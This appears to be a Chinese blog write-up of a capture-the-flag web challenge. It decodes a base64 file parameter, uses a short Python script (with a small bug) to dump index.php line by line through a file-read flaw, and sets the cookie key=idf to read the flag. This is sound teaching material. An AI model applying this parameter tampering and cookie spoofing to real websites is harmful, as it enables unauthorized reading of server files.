zoukankan      html  css  js  c++  java
  • COOKIE欺骗

    链接:http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=40

    开始攻关:这里这里→ http://ctf.idf.cn/game/web/40/index.php

    进去之后就是cd67918e02086c10de8202a75ca31c256636bef519b576b.............

    这时我们稍微有点眼力的话,可以看见url中file的值是base64编码,解密后是flag.txt,,,,因为之前接触过类似的题目,我的第一反应就是包含漏洞,将index.php编码,我们在为

    第一个参数赋值数字时,从0开始尝试,发现到18之后是空白,,可以写一个python脚本趴下来

    import requests
    
    file=open("index.php","wb")
    for i in range(19):
           url="http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=aW5kZXgucGhw"
            r=r.get(url)
            content=r.content
            file.write(content)
    file.close()

    我们可以得到index.php文件

    <?php
        error_reporting(0);
        $file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
        $line=isset($_GET['line'])?intval($_GET['line']):0;
        if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
        $file_list = array(
            '0' =>'flag.txt', 
            '1' =>'index.php',
        );
    
        if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
            $file_list[2]='flag.php';
        }
    
        if(in_array($file, $file_list)){
            $fa = file($file);
            echo $fa[$line];
        }
    ?>

    意思就是,存在一个flag.php文件,我们需要添加cookie,key=idf

    我们只需要借助火狐浏览器F9,添加cookie后,刷新,查看源文件

    得到flag

    <?php $flag='wctf{idf_c00kie}'; ?>
  • 相关阅读:
    控制翻转与容器
    构造函数传递参数
    bean属性检查
    tomcat源码阅读14
    Block Formatting Context
    IE 兼容性问题的处理
    JavaScript 的原型与继承
    IE 多版本测试工具 IETester
    callee,caller,call,apply
    HDOJ2175 汉诺塔IX
  • 原文地址:https://www.cnblogs.com/Jdrops/p/5447859.html
Copyright © 2011-2022 走看看